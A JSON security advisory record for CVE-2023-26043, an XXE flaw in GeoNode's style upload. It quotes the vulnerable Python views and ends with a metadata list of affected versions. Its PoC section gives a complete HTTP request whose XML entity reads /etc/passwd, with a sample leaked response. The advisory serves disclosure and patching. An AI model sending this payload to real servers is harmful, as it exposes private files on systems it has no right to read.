{"id":"GHSA-mcmc-c59m-pqq8","summary":"GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection","details":"### Summary\nGeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.\n\n### Details\nGeoNode's GeoServer has the ability to upload new styles for datasets through the [`dataset_style_upload` view](https://github.com/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/urls.py#L70-L72).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159\n@login_required\ndef dataset_style_upload(request, layername):\n    def respond(*args, **kw):\n        kw['content_type'] = 'text/html'\n        return json_response(*args, **kw)\n    ...\n    sld = request.FILES['sld'].read() # 1\n    sld_name = None\n    try:\n        # Check SLD is valid\n        ...\n        sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2\n    except Exception as e:\n        respond(errors=f\"The uploaded SLD file is not valid XML: {e}\")\n    name = data.get('name') or sld_name\n    set_dataset_style(layer, data.get('title') or name, sld)\n    return respond(\n        body={\n            'success': True,\n            'style': data.get('title') or name, # 3\n            'updated': data['update']})\n```\n\n`dataset_style_upload` gets a user-provided file (`1`), pass it to `extract_name_from_sld` to extract an element from it (`2`) and return the former in the response (`3`).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234\ndef extract_name_from_sld(gs_catalog, sld, sld_file=None):\n    try:\n        if sld:\n            if isfile(sld):\n                with open(sld, \"rb\") as sld_file:\n                    sld = sld_file.read() # 1\n            if isinstance(sld, str):\n                sld = sld.encode('utf-8')\n            dom = etree.XML(sld) # 2\n        ...\n    named_dataset = dom.findall(\n        \"{http://www.opengis.net/sld}NamedLayer\")\n    el = None\n    if named_dataset and len(named_dataset) \u003e 0:\n        user_style = named_dataset[0].findall(\"{http://www.opengis.net/sld}UserStyle\")\n        if user_style and len(user_style) \u003e 0:\n            el = user_style[0].findall(\"{http://www.opengis.net/sld}Name\") # 3\n    ...\n    return el[0].text # 4\n```\n\n`extract_name_from_sld` uses `sld` (which is a path to the provided file), reads it (`1`) and parses it with [`etree.XML`](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1312) in `2`. Since the former uses a [default XMLParser](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1323-L1324), the parsing gets done with the [`resolve_entities` flag set to `True`](https://lxml.de/api/lxml.etree.XMLParser-class.html#:~:text=resolve_entities%3DTrue). Therefore, `dom` handles the parsed XML containing the resolved entity (`2`), gets `NamedLayer.UserStyle.Name` in `3` and returns the resolved content in `4`.\n\n### PoC\n1. Create a guest/non-privileged account and log in.\n1. Upload a dataset through `/catalogue/#/upload/dataset` whose name we will be referencing as `\u003cDATASET_NAME\u003e`.\n1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of `/etc/passwd`:\n\n```\nPOST /gs/geonode:\u003cDATASET_NAME\u003e/style/upload HTTP/1.1\nHost: localhost\nCookie: django_language=en-us; csrftoken=\u003cCSRF-TOKEN\u003e; sessionid=\u003cSESSION-COOKIE\u003e\nX-Csrftoken: \u003cCSRF-TOKEN\u003e\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo\nContent-Length: 485\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"layerid\"\n1\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"sld\"; filename=\"foo.sld\"\nContent-Type: application/octet-stream\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n\u003c!DOCTYPE foo [ \u003c!ENTITY ent SYSTEM \"/etc/passwd\" \u003e ]\u003e\n\u003cfoo xmlns=\"http://www.opengis.net/sld\"\u003e\n  \u003cNamedLayer\u003e\n    \u003cUserStyle\u003e\n    \t\u003cName\u003e&ent;\u003c/Name\u003e\n    \u003c/UserStyle\u003e\n  \u003c/NamedLayer\u003e\n\u003c/foo\u003e\n------WebKitFormBoundaryfoo--\n```\n\nSample response:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.23.2\n...\n{\"success\": true, \"style\": \"root:x:0:0:root:/root:/bin/bash...\", \"updated\": false}\n```\n\n\n### Impact\nThis issue may lead to authenticated `Arbitrary File Read`.\n","aliases":["CVE-2023-26043","PYSEC-2023-15"],"modified":"2024-11-20T05:40:01.701886Z","published":"2024-08-30T18:50:00Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-08-30T18:50:00Z","nvd_published_at":"2023-02-27T21:15:12Z","cwe_ids":["CWE-611"]},"references":[{"type":"WEB","url":"https://github.com/GeoNode/geonode/security/advisories/GHSA-mcmc-c59m-pqq8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26043"},{"type":"WEB","url":"https://github.com/GeoNode/geonode/commit/2fdfe919f299b21f1609bf898f9dcfde58770ac0"},{"type":"PACKAGE","url":"https://github.com/GeoNode/geonode"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2023-15.yaml"}],"affected":[{"package":{"name":"geonode","ecosystem":"PyPI","purl":"pkg:pypi/geonode"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.3"}]}],"versions":["2.0","2.0.1","2.0.dev20130913181950","2.0.dev20140626191247","2.0b10","2.0b11","2.0b12","2.0b13","2.0b17","2.0b18","2.0b19","2.0b21","2.0b22","2.0b24","2.0b25","2.0b26","2.0b27","2.0b28","2.0b29","2.0b3","2.0b30","2.0b31","2.0b32","2.0b33","2.0b34","2.0b35","2.0b36","2.0b37","2.0b38","2.0b39","2.0b4","2.0b40","2.0b41","2.0b42","2.0b43","2.0b44","2.0b45","2.0b46","2.0b48","2.0b49","2.0b5","2.0b50","2.0b51","2.0b52","2.0b53","2.0b54","2.0b55","2.0b57","2.0b58","2.0b59","2.0b60","2.0b61","2.0b62","2.0b63","2.0b64","2.0b7","2.0c1","2.0c12","2.0c13","2.0c2","2.0c3","2.0c4","2.0c5","2.0c7","2.0c8","2.10","2.10.1","2.10.2","2.10.3","2.10.4","2.10rc0","2.10rc1","2.10rc2","2.10rc3","2.10rc4","2.10rc5","2.4","2.4.1","2.4a1","2.4a10","2.4a11","2.4a12","2.4a13","2.4a14","2.4a15","2.4a16","2.4a17","2.4a18","2.4a19","2.4a2","2.4a20","2.4a21","2.4a22","2.4a23","2.4a24","2.4a25","2.4a26","2.4a28","2.4a29","2.4a3","2.4a30","2.4a31","2.4a32","2.4a33","2.4a34","2.4a35","2.4a36","2.4a38","2.4a4","2.4a5","2.4a6","2.4a7","2.4a8","2.4a9","2.4b1","2.4b10","2.4b11","2.4b12","2.4b13","2.4b14","2.4b15","2.4b16","2.4b17","2.4b18","2.4b19","2.4b2","2.4b20","2.4b21","2.4b22","2.4b23","2.4b24","2.4b25","2.4b26","2.4b27","2.4b28","2.4b3","2.4b4","2.4b5","2.4b6","2.4b7","2.4b8","2.4c1","2.4c2","2.4c3","2.4c4","2.5.1","2.5.10","2.5.12","2.5.13","2.5.14","2.5.15","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.5.9","2.5.9.dev20170116091328","2.5.dev20160825082804","2.6","2.6.1","2.6.2","2.6.3","2.6a1","2.6c1","2.7","2.7.1.dev20171013151516","2.7.2.dev20171013181854","2.7.4.dev20171114161428","2.7.5.dev20180123130714","2.7.5.dev20180125135927","2.8","2.8.1","2.8.1rc0","2.8rc0","2.8rc1","2.8rc10","2.8rc11","2.8rc12","2.8rc13","2.8rc2","2.8rc3","2.8rc4","2.8rc5","2.8rc6","2.8rc7","2.8rc8","2.8rc9","3.0.0","3.1.0","3.1.1","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.post1","3.2.4","3.3.0","3.3.1","3.3.1.post1","3.3.2","3.3.2.post1","3.3.2.post2","3.3.3","4.0.0","4.0.0.post1","4.0.0rc0","4.0.0rc1","4.0.1","4.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-mcmc-c59m-pqq8/GHSA-mcmc-c59m-pqq8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}